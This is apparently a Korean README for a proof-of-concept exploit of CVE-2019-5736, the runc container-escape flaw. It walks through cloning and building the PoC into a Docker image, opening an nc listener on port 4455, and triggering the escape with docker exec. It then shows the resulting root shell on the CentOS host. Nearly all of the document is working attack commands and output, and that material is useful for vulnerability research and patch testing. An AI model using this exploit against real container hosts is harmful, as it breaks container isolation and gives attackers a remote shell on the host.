
CVE-2019-5736에 대한 개념 증명 익스플로잇입니다. runc의 컨테이너 탈출 취약점으로, Docker 컨테이너 브레이크아웃을 통해 호스트 셸에 접근할 수 있습니다.
다음 리포지토리의 익스플로잇을 Docker 이미지에서 동작하도록 만든 것입니다.
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
컨테이너 실행 및 호스트 측에서 포트 리스닝.
# terminal 1
$ sudo docker run poc
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
runc 실행.
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
nc에 셸이 반환됩니다.
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
